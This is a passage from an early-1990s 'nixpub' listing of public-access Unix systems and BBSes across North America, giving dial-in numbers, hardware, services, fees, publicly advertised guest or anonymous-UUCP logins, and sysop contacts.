call voice (PST, USA) +1 206 426 9298 + +12/90 212-420-0527^ magpie NYC NY 3/12/24/96 24 + ? - UNIX SYSV - 2, Magpie BBS, no fee, Authors: Magpie/UNIX,/MSDOS + two lines plus anonymous uucp: 212-677-9487 (9600 bps Telebit modem) + NOTE: 9487 reserved for registered Magpie sysops & anon uucp + Contact: Steve Manes, {rutgers|cmcl2|uunet}!hombre!magpie!manes + +11/91 212-431-1944^ dorsaidm NYC NY 3/12/24/96 24 + 80386, ISC 386/ix, Waffle bbs; 3 phone lines (unknown 9600 bps access); + no shell (yet); BBS with over 250 non-Usenet newsgroups, 1.2 gb of mac, + ibm, amiga, cp-m, appleII, cbm files; BBS is free, $25/yr for UseNet + access, (180 min/day), $50/yr for extended gold access (300 min/day); + Full news and mail feed from uupsi; login through bbs. + Contact: uupsi!dorsaidm!ssegan + +12/90 212-675-7059^ marob NYC NY 3/12/24/96 24 + 386 SCO-XENIX 2.2, XBBS, no fee, limit 60 min. + Telebit Trailblazer (9600 PEP) only 212-675-8438 + Contact: {philabs|rutgers|cmcl2}!{phri|hombre}!marob!clifford + +04/92 214-436-3281^ sdf Dallas TX 3/12/24/96 24 + i386-25, ISC SysVr3.2 UNIX; 4-way rotary at 436-3281, 2400bps except + PEP on 436-5935. Unrestricted free shell access, PinkBBS available. + Operated and funded entirely by users. 500MB on-line storage. + 1000+ newsgroup full feed. Internet mail. On-line software includes + emacs, trn, nn, elm, nethack, tinyMUD, etc. Mail and news feeds + available. + Contact iczer@sdf.lonestar.org (Ted Uhlemann). + +08/92 215-348-9727 jabber Doylestown PA 3/12/24/96 24 + 80386, ISC 386/ix 3.0; Trailblazer+ (PEP) on dial in line, Worldblazer + (V.32[bis] and TurboPEP) on -8129, 2400 baud on -1932; No fee services: + "*NIX Depot" BBS, BBS for UNIX/Xenix users; Fee services: UUCP feeds, + providing access to Internet E-mail and full USENET News (1750+ groups); + Anonymous UUCP available for access to the latest nixpub lists, please + see the footer of this list for more details; + Contact: Phil Eschallier (phil@bts.com). + anon-uucp: ogin: nuucp (No passwd) + +11/91 215-654-9184^ cellar Horsham PA 3/12/24/96 24 + DTK 386/33, SCO Unix 3.2, Waffle BBS - The Cellar BBS, no shell; USR + Dual-Standard modems, three lines and growing. BBS is free; net news + (full feed) and net mail by subscription. $7/mo, $35/6-mo, or $60/yr. + +06/92 216-481-9445 wariat Cleveland OH 3/12/24/96 24 + ISC Unix SysV/386; USR DS on 481-9445, T-3000 on 481-9425. Shell and + UUCP/Internet mail access availble. News and mail feeds are + available; also, DOS and UNIX files. Ananymous uucp: login: nuucp, + no password; request /x/files/ls-lR.Z; nuucp account does not allow + mail exchange; UnixBBS distribution point. BBS free (with e-mail) + for shell/uucp/newsfeed donation requested. For details, e-mail to: + zbig@wariat.org (Zbigniew Tyrlik) + +12/90 216-582-2460^ ncoast Cleveland OH 12/24/96 24 + 80386 Mylex, SCO Xenix; 600 meg. storage; XBBS and Shell; USENET + (newsfeeds available), E-Mail; donations requested; login as "bbs" + for BBS and "makeuser" for new users. + Telebit used on 216-237-5486. + +07/91 217-789-7888 pallas Springfield IL 3/12/24/96 24 + AT&T 6386, 600 meg disk space; 4 lines w/ USRobotics Dual Standard modems; + BBS available at no fee (UBBS), shell access for $50/year; E-Mail, Usenet; + "guest" login available. + +08/92 219-289-0282 gator South Bend IN 24/96 24 + SVR4 4.0 - 6 lines, USR HST DS with V.32/HST/v.42bis/v.32bis (219-289-0282), + PEP/MNP5/V.42bis/V.32/v.32bis/PEP/TurboPEP on 219-289-0775 (2 Telebit + WorldBlazer modems). On the internet at 192.190.78.1 as gator.com. + 2000+ newsgroups, newsfeeds and email forwarding. MX services are also + available. The BBS is UnixBBS and is very easy to use. Shells available + 9/92 for $120/year without internet access, or $250/year with. BBS - $35 + /year; Also available in the 317 area code at 317-251-7391 (8 lines) + [PC-Pursuitable in the 317 area]. The system will be moved to Ft. Myers, + Florida in May of 1993. Contact larry@gator.rn.com or uunet!trauma!larry + +09/92 301-220-0462^ digex Greenbelt MD 3/12/24 24 + Express Access Online Communications. Local to Washington, Baltimore, + Annapolis and Northern Virginia (area code 703); Baltimore dialup + 410-766-1855, Gaithersburg/Damascus 301-570-0001. SunOS shell, full + Usenet, and e-mail $15/month or $150/year; Internet services incl. + Telnet, FTP, IRC with news/mail $25/month or $250/year; includes + unlimited usage 3am - 3pm and 1 hour between 3pm and 3am. Login as + new (no password) for info and account application, major credit + cards accepted. Telnet to digex.com or mail to info@digex.com for + more info; voice phone 301-220-2020. + +04/92 301-953-7233 highlite Laurel MD 12/24/96 24 + 80486 system, ISC 2.2.1/UNIX SVR 3.2; monthly fee; Usenet news subjects, + E-mail, shell access, on-line registration, DC metro phone (301)953-7233, + Communications settings: 8 data bits, no parity, 1 stop bit/8N1. + login: guest + password: guest + Contact: uunet!highlite!dlreed + +07/91 303-871-4824^ nyx Denver CO 3/12/24 24 + Equip Pyramid; Public domain file area, private file area, games, Provides + shell for some users, USENET, E-Mail, Multiple line. + Contact: Andrew Burt, aburt@isis.cs.du.edu + +01/92 309-676-0409 hcs Peoria IL 3/12/24/96 24 + VAX/BSD SGI/SV Network - Public Access UNIX Systems - Mult.Lines / 1.8GB + Linked 386 bbs (Free). Network Fee structure based on usage with $0.02 + minute connection. Shells (sh,ksh,csh,tcsh,bash) Compilers (C,Pascal, + Fortran,Lisp,Ratfor oths), games, File and Pic. Libs., UUCP and USENET + access with NetNews (nn reader), U.S. Patent and other databases, + general timesharing and programmed on-line applications. Self register. + Contact: Victoria Kee {uunet!hcsvax!sysop sysop%hcsvax@uunet.uu.net} + +08/91 312-248-0900 ddsw1 Chicago IL 3/12/24/96 24 + 80386 systems, ISC 2.2; guest users 1 hr daily in AKCS BBS; fee for + shell, Full Usenet access, unlimited use, and offsite mail; Authors + of AKCS bbs; 1.5GB storage, fee $75/year or $20/bi-monthly, 19200 + V.32/PEP available on (312) 248-6295 anonymous uucp (nuucp) from + 12 midnight to 6 AM, ~/DIRECTORY/README for info on anon uucp. + Newsfeeds and mail connections available; Internet access in the + works (PLEASE contact us if interested). + Contact: Karl Denninger (karl@ddsw1.MCS.COM) + +04/90 312-283-0559^ chinet Chicago IL 3/12/24/96 24 + '386, SysVr3.2.1; Multiple lines including Telebit and HST; + Picospan BBS (free), USENET at $50/year (available to guests on + weekends). + +12/91 312-714-8568^ gagme Chicago IL 12/24/96 24 + 3B2/400 - System V 3.2. E-mail, netnews, sources, access to anonymous + ftp, GIFs, UUCP, local message base, games, etc. PEP and V.32 available + for logins and UUCP. Contact greg@gagme.chi.il.us for more information. + +06/90 313-623-6309 nucleus Clarkston MI 12/24 24 + AMI 80386 - ESIX 5.3.2, large online sources archive accessable by + anonymous UUCP, login: nuucp, nucleus!/user/src/LISTING lists + available public domain/shareware source code. Contact: jeff@nucleus.mi.org + +06/92 313-761-3000 grex Ann Arbor MI 3/12/24 24 + Sun 2, SunOS 2.0; Internet E-Mail/USENET, shell access, Picospan; + Fee: $6/month; + +04/92 313-996-4644^ m-net Ann Arbor MI 3/12/24 24 + Altos 68020 - Sys III, no limits; merged with Arbornet; non-profit + organization; tax deductable donations accepted; fee for extended service; + Picospan software; 15 lines, 160 Megs, 100% user supported; on-line games + (including nethack, empire, and rotisserie baseball); E-Mail; UUCP accounts + available; C compiler, multi-user party, access to Bourne, Korn, C, BBS & + Menu; on-line man pages; login access via Internet: + "telnet m-net.ann-arbor.mi.us". + contact: help@m-net.ann-arbor.mi.us + +09/92 401-455-0347 anomaly Esmond RI 3/12/24/96 24 + Informtech 486 mongrel; SCO Open Desktop 1.1; Trailblazer+ (0347) and + v.32 T2500 (401-331-3706) dialins. Directly connected to the Internet: + IP Address: 155.212.2.2, or 'anomaly.sbs.risc.net'. Current fees: $15/mo. + includes complete Internet access. Mail and USENET Newsfeeds available, + limited feeds for non-PEP sites. SCO software archive site, anonymous + UUCP login: xxcp, pass: xenix. Anonymous FTP also supported. Software + listing & download directions in anomaly!~/SOFTLIST + +09/91 407-299-3661^ vicstoy Orlando FL 12/24 24 + ISC 386/ix 2.0.2. Partial USENET, e-mail (feeds available); Login as + bbs, no passwd (8N1); Free shell access; Orlando BBS list, games; + cu to Minix 1.5.10 system (weather permitting); USENET includes + Unix/Minix source groups. Contact: uunet!tarpit!bilver!vicstoy!vickde + or vickde@vicstoy.UUCP (Vick De Giorgio). + +01/92 407-438-7138^ jwt Orlando FL 12/24/96 24 + 80386/33, System V.3.2, Waffle BBS, no shell access, two lines, V.32, + V.32bis, PEP, Usenet news, no fee, login as "bbs". + Contact: john@jwt.UUCP (John W. Temples) + +08/92 408-241-9760^ netcom San Jose CA 12/24/96 24 + UNIX, Sun Network SunOS 4.1; Netcom - Online Communication Services; + 70 Telebit lines V.32/V.42 9600/2400/; USENET (16 days), Lrg archive, + News/Mail Feeds, Shell, Internet (ftp, telnet, irc), Slip Connections, + Local access via CALNet San Jose, Palo Alto, Red Wd Cty, San Fran, + Oklnd, Berkly, Alameda, Plesanton, Los Angeles, and Santa Cruz; + Fee $17.50/mo + Reg fee of $15.00. Login: guest (510)865-9004, + (408)241-9760,(408)459-9851,(310)842-8835,(415)424-0131,(510)426-6860; + Just Say No to connect fees, Login as guest (no password). + +09/89 408-245-7726^ uuwest Sunnyvale CA 3/12/24 24 + SCO-XENIX, Waffle. No fee, USENET news (news.*, music, comics, telecom, etc) + The Dark Side of the Moon BBS. This system has been in operation since 1985. + Login: new Contact: (UUCP) ames!uuwest!request (Domain) request@darkside.com + +09/92 408-249-9630^ quack Santa Clara CA 3/12/24/96 24 + Sun 3/160, SunOS 4.1.1; Aka - The Duck Pond; 3 lines: -9630 PEP, + -9631 HST/v.32bis/v.42bis, -9632 v.32bis/v.42bis + PEP, all 3 lines + MNP 1-4; Shell - $5/mo; New users should login as 'guest'; + Contact: postmaster@quack.sac.ca.us + +02/92 408-254-0246^ zorch San Jose CA 12/24/96 24 + ISI 020 - 4.3BSD; 4 lines, more soon, PEP on 408-254-3470; $10/month, + $100/year, flat rate, no time limit. Email, USENET, games, utilities, + online man pages, Bourne, C, TC, Korn shells. 800M online, 100M source + archive. Registration req'd, free trial; login as newuser, password public. + Contact: scott@zorch.SF-Bay.ORG or (ames|pyramid|vsi1)!zorch!scott + +08/92 408-293-9010 a2i San Jose CA 12/24/96 24 + Usenet/Email/Internet/SunOS (Unix). Eight lines. Dial 408-293-9010 + (v.32bis, v.32) or 408-293-9020 (PEP) and log in as "guest". Or + telnet to a2i.rahul.net, 192.160.13.1. Or send any message to + info@rahul.net; a daemon will auto-reply. $12/month for 6-month + prepaid subscription. + +08/91 408-423-9995 cruzio Santa Cruz CA 12/24 24 + Tandy 4000, Xenix 2.3.*, Caucus 3.*; focus on Santa Cruz activity + (ie directory of community and goverment organizations, events, ...); + USENET Support; Multiple lines; no shell; fee: $15/quarter. + Contact: ...!uunet!cruzio!chris + +04/92 408-458-2289 gorn Santa Cruz CA 3/12/24/96 24 + Everex 386, SCO xenix 2.3.2; 2 lines, -2837 telebit for PEP connects; + Standard shell access, games, email injection into the internet, up to + date archive of scruz-sysops information, upload/download, usenet news + including scruz.* heircarchy for santa cruz area information; UUCP set + up on as-requested; No charge, donations accepted; newuser: log in as + ``gorn'' and fill out online form. + Contact: falcon@gorn.echo.com + +11/91 408-725-0561^ portal Cupertino CA 3/12/24/96 24 + Networked Suns (SunOS), multiple lines, Telenet access, no shell access + fees: $13.95/month + Telenet charges (if used) @ various rates/times + conferencing, multi user chats, usenet, computer special interest groups + +11/91 408-739-1520^ szebra Sunnyvale CA 3/12/24/96 24 + 386PC, AT&T SVR4v3; Trailblazer+; Full Usenet News, email (Internet & UUCP), + first time users login: bbs, shell access/files storage/email available + (registration required); GNU, X11R4 and R5 source archives. viet-net/SCV + and VNese files/sftware archives. + contact: tin@szebra.Saigon.COM or {claris,zorch,sonyusa}!szebra!tin + +06/91 412-431-8649^ eklektik Pittsburgh PA 3/12/24 24 + UNIX PC- SYSV - UNaXcess BBS, donation requested for shell, + login: bbs for BBS, limited Usenet news (amiga and gaming groups). + RPG mailing list, rec.games.frp and rec.music.dylan archive. + Alternate number: 431-3064, + Contact: anthony@eklektik.pgh.pa.us or anthony@cs.pitt.edu + +04/92 414-241-5469^ mixcom Milwaukee WI 12/24/96 24 + 80386, SCO UNIX 3.2; MIX (Milwaukee Internet eXchange); $9/mo + access to Internet services including email, Usenet BBS and file + archives; MIX has comprehensive and easy to use menus, along with + shell access; Multiple lines; login as 'newuser' password 'newuser'. + Contact: Dean Roth (sysop@mixcom.com) [414-962-8172 voice] + +09/91 414-734-2499 edsi Appleton WI 3/12/24 24 + IBM PS/2 Model 55SX, SCO Xenix 2.3.2; Running STARBASE II Software. + Enterprise Data Systems Incorporated (Non-profit). 100+ local rooms, + PLUS USENET, Multi Channel Chat, 9 ports, $15 yr, flat rate for full + access to net news, mail. The Fox Valley's only public access Unix + based BBS. Contact: Chuck Tomasi (chuck@edsi.plexus.COM) + +08/92 415-332-6106^ well Sausalito CA 12/24/96 24 + 6-processor Sequent Symmetry (i386); Internet, UUCP and USENET + access; multiple lines; access via CPN and Internet (well.sf.ca.us); + PICOSPAN BBS; $15/mo + $2/hr (CPN or 9600 +$4/hr); + Contact (415) 332-4335 + +06/91 415-826-0397^ wet San Francisco CA 12/24 24 + 386 SYS V.3. Wetware Diversions. $15 registration, $0.01/minute. + Public Access UNIX System: uucp, PicoSpan bbs, full Usenet News, + Multiple lines (6), shell access. Newusers get initial credit! + contact:{ucsfcca|hoptoad|well}!wet!editor (Eric Swanson) + +04/91 415-949-3133^ starnet Los Altos CA 3/12/24/96 24 + SunOS 4.1. 8-lines. MNP1-5 and v42/bis, or PEP on all lines. + Shell access for all users. USENET--900+ groups. E-mail (feeds + available). smart mail. Publically available software (pd/shareware). + $12/mo. Contact: admin@starnet.uucp or ...!uunet!apple!starnet!admin + +12/91 415-967-9443^ btr Mountain View CA 3/12/24/96 24 + Sun (SunOS UNIX), shell access, e-mail, netnews, uucp, can access by + Telenet PC Pursuit, multiple lines, Telebit, flat rate: $12.50/month. + For sign-up information please send e-mail to Customer Service at + cs@btr.com or ..!{decwrl,fernwood,mips}!btr!cs + or call 415-966-1429 Voice. + +08/92 416-249-5366 r-node Etobicoke ON 3/12/24/96 24 + 80386, ISC SV386; SupraModem2400 on Dial-in line, Worldblazer and + Cardinal2400 on other two lines; No fee services: Uniboard BBS for + BBS users; shell access for those who ask; Fee services: access + to subsequent lines, unlimited dl/ul access; full USENET News and + International E-mail access through Usenet/Internet mail; Free + UUCP connections; + Contact: Marc Fournier (marc@r-node.gts.org) + +11/89 416-452-0926 telly Brampton ON 12/24/96 24 + 386 SysVr3.2; proprietary menu-based BBS includes Usenet site searching. + News (all groups, incl biz, pubnet, gnu, CanConfMail), mail (including + to/from Internet, Bitnet), many archives. Feeds available. $75(Cdn)/year. + Contact: Evan Leibovitch, evan@telly.on.ca, uunet!attcan!telly!evan + +12/88 416-461-2608 tmsoft Toronto ON 3/12/24/96 24 + NS32016, Sys5r2, shell; news+mail $30/mo, general-timesharing $60/mo + All newsgroups. Willing to setup mail/news connections. + Archives:comp.sources.{unix,games,x,misc} + Contact: Dave Mason / Login: newuser + +02/90 502-957-4200 disk Louisville KY 3/12/24 24 + 386 clone, Interactive System V 3.2, 600 meg. 6 lines with rollover. + Carrying most USENET groups, Shell access, multi-user games( including + The Realm(c) ) multi-user chat, downloads, and more. Rate info available + via a free trial account. mail feeds to the local Now reachable via + Starlink! + +08/91 503-254-0458^ bucket Portland OR 3/12/24/96 24 + Tektronix 6130, UTek 3.0(4.2bsd-derived). Bit Bucket BBS no longer + online. Modem is Telebit Trailblazer+ (PEP). Users intereseted in + access to Unix should send EMail to rickb@pail.rain.com. Services + include USENET News, EMail (fast due to local Internet access), and + access to all tools/utilities/games. UUCP connections (1200, 2400, + 9600V.32, 9600PEP, 19200PEP) available (through another local system + which is not publically available) to sites which will poll with + reasonable regularity and reliability. + +02/91 503-297-3211^ m2xenix Portland OR 3/12/24/96 24 + '386/20, Xenix 2.3. 2 Lines (-0935); Shell accounts available, NO BBS; + No fee; E-mail, USENET News, program development. + Contact: ...!uunet!m2xenix!news or on Fido at 297-9145 + +03/91 503-640-4262^ agora PDX OR 12/24/96 24 + Intel Unix V/386, $2/mo or $20/yr, news, mail, games, programming. + Three lines with trunk-hunt. The first two are 12/24, the third + line (648-7596) is 9600/V.32/V.42bis. Agora is part of RainNet. + Contact: Alan Batie, batie@agora.rain.com + +04/92 508-655-3848 unixland Natick MA 12/24/96 24 + 5 lines supporting various protocols (call for details). Esix 5.3.2.D + (SYSVR3), 486/33, 16mb, 1GB of disk space. Usenet news (1900+ groups). + Unix shell accounts available - {$70/year; $40/6 Months} for full access + (Usenet, Email, Unix utilities, etc). Free BBS access to limited number + of newsgroups. UUCP accounts available for a nominal charge. + Contact: bill@unixland.natick.ma.us or Bill Heiser + PO Box 104, Needham, MA 02192 + +01/92 508-664-0149 genesis North Reading MA 12/24/96 24 + Gateway 2000 386/25, Minix-386; Three lines; Internet mail; Usenet News; + Multi-user chat, games; Shell access and menu system; Full access to all + users; No Fees; 200 megabytes; One hop from the Internet; HST & V.32. + Contact: steve1@genesis.nred.ma.us (Steve Belczyk) + +08/92 508-752-1378 schunix Worcester MA 24/96/14.4 24 + SUN 4/75(Sparc 2), SunOS 4.1.1(BSD),1.9GB: Shell, Usenet, E-mail, + $15/month or $150/yr for up to 1 hr/day, 1 time Reg fee of $10. + 5 megabyte quota. Limited time 4 week free trial. + Contact: jjmhome!postmaster@schunix.uucp (Robert Schultz) + SCHUNIX c/o Ostrow Electric, 9 Mason Street, Worcester, MA 01609 + Voice: 508-752-4522 + +12/91 510-294-8591 woodowl Livermore CA 12/24/19.2 24 + Xenix/386 3.2.1. Waffle BBS, Usenet Access; Reasonable users welcome. + No fee; For more information contact: william@woodowl.UUCP, + lll-winken!chumley!woodowl!william, or call and just sign up on system. + +08/92 510-530-9682 bdt Oakland CA 12/24/96 24 + Sun 4, SunOS 4.1; BBS access to Usenet news, E-mail (Internet and + UUCP). PEP/V.32 on 510-530-6915. First time users login: bbs. + Unix, Atari ST, and IBM-PC sources and PD/shareware. $35 annual + fee. 30-day free trial. Newsfeeds and UUCP access by special + arrangement. Contact: David Beckemeyer david@bdt.com + +09/91 510-623-8652^ jack Fremont CA 3/12/24/96 24 + Sun 4/470 running Sun O/S 4.1.1 offers downloading of netnews archives + and all uploaded software. Each user can log in as bbs or as the account + which they create for themselves. This is a free Public Access Unix + System that is part of a network of 4 machines. The primary phone line + is on a rotary to three other lines. + +08/92 510-704-1058 HoloNet Berkeley CA 12/24/96/14 24 + DECstations, ULTRIX; Commercial network, over 850 cities; Custom shell; + Full Internet, IRC, telnet, USENET, USA Today Descisionline, games; + $2/hr off-peak; Telnet: holonet.net, Info sever: info@holonet.net, + Contact: support@holonet.net + +06/91 512-346-2339^ bigtex Austin TX 96 24 + SysVr3.2 i386, anonymous shell, no fee, anonymous uucp ONLY, + Telebit 9600/PEP; Mail links available. Carries GNU software. + anon uucp login: nuucp NO PASSWD, file list /usr3/index + anon shell login: guest NO PASSWD, chroot'd to /usr3 + Contact: james@bigtex.cactus.org + +10/89 513-779-8209 cinnet Cincinnati OH 12/24/96 24 + 80386, ISC 386/ix 2.02, Telebit access, 1 line; $7.50/Month; shell + access, Usenet access; news feeds available; + login: newact password: new user to register for shell access + +01/92 514-435-8896 ichlibix Blainville Quebec CAN 3/12/24/96 24 + 80386, ISC 2.2.1; 2400 bps modem on dial in, HST DS on -2650; BBS + program is Ubbs (RemoteAccess Clone) - named Soft Stuff, no shell; + No fees required but are recommended for more access ($25 - $75/yr); + Files for both dos and UNIX + a lot of binaries for ISC; Possibility + to send/receive UUCP mail from the BBS + +01/90 517-487-3356 lunapark E. Lansing MI 12/24 24 + Compaq 386/20 SCO-UNIX 3.2, lunabbs bulletin board & conferencing + system, no fee, login: bbs password: lunabbs. Primarily UNIX software + with focus on TeX and Postscript, also some ATARI-ST and IBM-PC stuff + 2400/1200 --> 8 N 1 + Contact: ...!{mailrus,uunet}!frith!lunapark!larry + +02/92 517-789-5175 anubis Jackson MI 3/12 24 + Equip ???, OS ???; 1200 baud dial-in (planning on 19.2kbps); + UUCP connections to the world, PicoSpan BBS software, Teleconferencing, + C programming compiler, 3 public dial-in lines, Online games; + Contact: Matthew Rupert (root@anubis.mi.org). + +12/88 518-346-8033 sixhub upstate NY 3/12/24 24 + PC Designs GV386. hub machine of the upstate NY UNIX users group (*IX) + two line reserved for incoming, bbs no fee, news & email fee $15/year + Smorgasboard of BBS systems, UNaXcess and XBBS online, + Citadel BBS now in production. Contact: davidsen@sixhub.uucp. + +07/91 602-293-3726 coyote Tucson AZ 3/12/24/96 24 + FTK-386, ISC 386/ix 2.0.2; Waffle BBS, devoted to embedded systems + programming and u-controller development software; E-Mail/USENET; + UUCP and limited USENET feeds available; + Contact: E.J. McKernan (ejm@datalog.com). + bbs: ogin: bbs (NO PWD) + uucp: ogin: nuucp (NO PWD) + +09/92 602-649-9099^ telesys Mesa AZ 12/24/96 24 + SCO UNIX V/386 3.2.4; Telebit WorldBlazers; TeleSys-II Unix based BBS + (no fee) login: bbs; Unix archives available via BBS or ANON UUCP; + Shell Accounts available for full access USENET, email (fees); + Phoenix Matchmaker with more than 9000 members (fees) login: bbs + Regional supplier of USENET Newsfeeds; uucp-anon: nuucp NOPWD; + Contact: kreed@tnet.com or ...!ncar!noao!enuucp!telesys!kreed + +12/90 602-941-2005^ xroads Phoenix AZ 12/24 24 + Motorola VME1121, UNIX 5.2, Crossroads BBS, Fee $30/yr + $.50/.25 (call) + prime (evenings)/non-prime, USENET news, multi-chat, online games, + movie reviews, adventure games, dos unix/xenix files for dload, multi lines + +05/92 602-991-5952 aa7bq Scottsdale AZ 3/12/24 24 + Sun 4, SunOS 4.1.2, NB bbs system, 900 meg online, + Primarily Ham Radio related articles from usenet + (Rec.radio.amateur.misc), complete Callsign Database, Radio and + scanner modifications, frequency listings, shell access by permission, + No fees, Free classifie ads, Local e-mail only. Login: bbs (8N1) or + Login: callsign for callsign database only. Don't use MNP! + For additional info contact Fred.Lloyd@West.Sun.COM + +01/92 603-429-1735 mv Litchfield NH 12/24/96 24 + 80386; ISC UNIX; MV is on the Internet (mv.MV.COM, host 192.80.84.1); + mail connections and news feeds via uucp; domain registrations; + membership in "domain park" MV.COM; domain forwarding; archives of + news and mail software for various platforms; mailing lists; + area topics; $7/month for 1 hour/month; $20/month for 3 hours/month + $2/hour thereafter; blocks of 30 hours for $20 month - First month free + up to 20 hours. + Voice: 603-429-2223; USMail: MV Communications Inc, PO Box 4963 + Manchester NH 03108; Or dial the modem and login as "info" or "rates". + +08/92 603-448-5722 tutor Lebanon NH 3/12/24/96 24 + Altos 386 w/ System V 3.1; Limited newsfeed; E-Mmail and USENET available + via UUCP. + Contact: peter.schmitt@dartmouth.edu + +11/90 604-576-1214 mindlink Vancouver BC 3/12/24/96 24 + 80386 w/ SCO Xenix; 14 lines, 660 Meg disk space, TB+ & 9600 HST available; + No shell; Fee of $45/year for BBS access; E-Mail, USENET, hundreds of megs + of file downloads; Operating since 1986. + +08/89 605-348-2738 loft386 Rapid City SD 3/12/24/96 24 + 80386 SYS V/386 Rel 3.2, Usenet mail/news via UUNET, UUNET archive access. + NO BBS! News feeds avaliable. 400 meg hd. Fees: $10/month or $25/quarter. + Call (605) 343-8760 and talk to Doug Ingraham to arrange an account or email + uunet!loft386!dpi + +09/92 606-253-1481 lunatix Lexington KY 3/12/24 24 + SCO Unix 3.2.2. 2 2400 baud lines. V32bis later in the fall. + Home grown Pseudo BBS software. Multiuser games, Full USENET Feed on + tap, USENET Feeds available. Shells available, No Fees. + +08/92 607-273-3233 banana Ithaca NY 3/12/24/96 24 + Xenix/386 running Waffle BBS, no shell access. 600M disk. Main number + is a USR HST Dual Standard with HST, V.32bis and slower modulations; + -6881 has a Telebit Worldblazer. Local message base, as well as more + or less complete Usenet news feed and mail; one hop from the Internet. + I'm happy to provide newsfeeds locally. Chat and multiuser talk. No + interesting files :) No charge, but I do have mail validation for + Usenet posting and sending email. Contact: John Hood + (jhood@banana.ithaca.ny.us) + +05/92 608-273-2657 madnix Madison WI 3/12/24 24 + 486, MST UNIX SysV/386, shell, no fee required, USENET news, mail, login: bbs + Contact: ray@madnix.uucp + +09/90 612-473-2295^ pnet51 Minneapolis MN 3/12/24 24 + Equip ?, Xenix, multi-line, no fee, some Usenet news, email, multi-threaded + conferencing, login: pnet id: new, PC Pursuitable + UUCP: {rosevax, crash}!orbit!pnet51!admin + +05/92 613-237-0792 latour Ottawa ON 3/12/24 24 + Sun 3/60, SunOS 4.1, 8meg Ram, 660 meg of disk; No BBS; Unix + access rather than usenet. Login as guest for a shell (send mail to + postmaster asking for an account); Anon uucp is login as 'anonuucp' + (/bin/rmail is allowed), Grab ~uucp/README[.Z] for an ls-lR. + +02/92 613-837-3029 micor Orleans ON 3/12/24/96 24 + 386/25, 600 Meg, Xenix 2.3.2, USENET, email, 2 phone lines + fee required to get more than 15 mins/day of login and to access + additional phone lines. + Available: bbs accounts (waffle) or shell accounts. + Contact: michel@micor.ocunix.on.ca or michel@micor.uucp, Michel Cormier. + +08/92 614-868-9980^ bluemoon Reynoldsburg OH 3/12/24/96 24 + Sun 4/75, SunOS; 2.2gb; Leased line to the Internet; Multiple lines, + HST Dual on -9980 & -9982, Telebit T2500 on -9984; 2gb disk space; + Bluemoon BBS -- supporting UNIX, graphics, and general interest; Full + USENET, gated Fidonet conferences, E-Mail; + Contact: grant@bluemoon.uucp (Grant DeLorean). + +05/92 615-288-3957 medsys Kingsport TN 12/24/96/19 24 + 386 SCO-UNIX 3.2, XBBS, no fee, limit 90 min. + Telebit PEP, USENET, 600 meg., login: bbs password: bbs + anon uucp --> medsys Any ACU (speed) 16152883957 ogin: nuucp + Request /u/xbbs/unix/BBSLIST.Z for files listing + Contact: laverne@medsys (LaVerne E. Olney) + +04/91 615-896-8716 raider Murfreesboro TN 12/24/96 24 + Featuring GDXBBS. BBS accounts are free, and available to the general + public with unlimited capabilities first call. We also provide mail, + shell, and USENET links. One hop from uunet. Complete source and binary + archives available. Annual member fees for shell and uucp accounts are + $40, with a six month sub for $25. 615-896-8716 is Intel 9600 EX modem + using V.32/42/42bis. Line 2, 615-896-7905 1200/2400 only. For more info + contact root@raider.raidernet.com, or log into bbs and leave mail. + +12/91 616-457-1964 wybbs Jenison MI 3/12/24/96 24 + 386 - SCO-XENIX 2.3.2, two lines, XBBS for new users, mail in for shell + access, usenet news, 150 meg storage, Telebit. Interests: ham radio, xenix + AKA: Consultants Connection Contact: danielw@wyn386.mi.org + Alternate phone #: 616-457-9909 (max 2400 baud). Anonymous UUCP available. + +12/90 617-739-9753^ world Brookline MA 3/12/24/96 24 + Sun 4/280, SunOS 4.0.3; Shell, USENET, E-Mail, UUCP, IRC, Alternet + connection to the Internet, and home of the Open Book Initiative + (text project), multiple lines; fees: $5/mo + $2/hr or $20/20hrs per month; + Contact: geb@world.std.com + +05/92 619-453-1115 netlink San Diego CA 12/24 24 + 386 UNIX, Provides access to E-mail and over 700 USENET newsgroups + through Waffle BBS interface. Multiple lines, NO FEE for basic access. + Higher access available for a donation. Mail feeds available. + Login: bbs Contact: system@netlink.cts.com + +06/92 619-569-4072^ crash San Diego CA 12/24/96 24 + Datel 486-33 12mb, SCO Xenix 2.3.4, 9 lines; HST 619-569-4072, V32 + 619-569-9195, PEP 619-571-6057. V42.bis most lines, V32.bis on + 619-569-4097. All modems at 38,400bps, Telebits at 19,200bps. 8N1 + only. Full Usenet (1500+ groups), (smart) email, shell and uucp + accounts. 1.5gb disk. No direct internet (yet). + Contact: bblue@crash.cts.com. + +06/92 619-634-1376 cyber Encinitas CA 3/12/24/96 24 + Equip ???; Multilple lines [HST16.8/V.32]; The Cyberspace Station; + On the Internet (telnet to CYBER.NET [192.153.125.1]); A Public Access + Unix service with full Internet connectivity; E-Mail/USENET, + International communications, hunting for files, and interactive chatting; + Login on as "guest" and send feedback (Don't forget to leave a phone number + where you can be reached). + Contact: info@cyber.net + +08/92 703-281-7997^ grebyn Vienna VA 3/12/24 24 + Networked Vax/Ultrix. $30/month for 25 hours. $1.20 connect/hr after 25 + hours. 1 MB disk quota. $2/MB/month additional quota. USENET News. + Domain mail (grebyn.com). Full Internet IP connectivity expected in the + summer of 1992. Mail to info@grebyn.com, voice 703-281-2194. + +05/92 703-803-0391^ tnc Fairfax Station VA 3/12/24/96 24 + Zenith Z-386, SCO Xenix; 120 MB HDD; 12 lines, tb+ for UUCP only; + "The Next Challenge"; Usenet, mail, Unique (sysop written) multi-user + space game; No Shell; Free and user supported --> No fee for light mail + and usenet; Subscription required for game and unlimited mail and usenet + at $25 / year; + Contact: Tom Buchsbaum (tom@tnc.UUCP or uunet!tnc!tom). + +08/92 707-792-0420 uonline Rohnert Park CA 12/24/96 24 + 80386, ESIX UNIX SYSVR4.0; No Fee for basic system; Usenet feed for + fee, $5 mo, Available; Anonuucp login as "nuucp", password "anon"; + Using modified XBBS, LINUX files + Contact: uonline@infoserv.com or ..infoserv!uonline!root + +08/92 708-425-8739 oaknet Oak Lawn IL 3/12/24 24 + Equip ???, SysV 3.2; 2400 baud, 8-N-1; E-Mail/USENET. + +05/92 708-833-8126^ vpnet Villa Park IL 12/24/96 24 + 386 Clone - Interactive Unix R2.2 (3.2), Akcs linked bbs FREE, inclu- + ding many selected Usenet groups. Shells are available for a minimum + $60/year contribution; under 22, $30. Includes access to our FULL + Usenet feed. Well connected. Five lines including three Trailblazers. + Two hunt groups - V.32 modems call 708-833-8127 (contributors only). + Contact: lisbon@vpnet.chi.il.us, 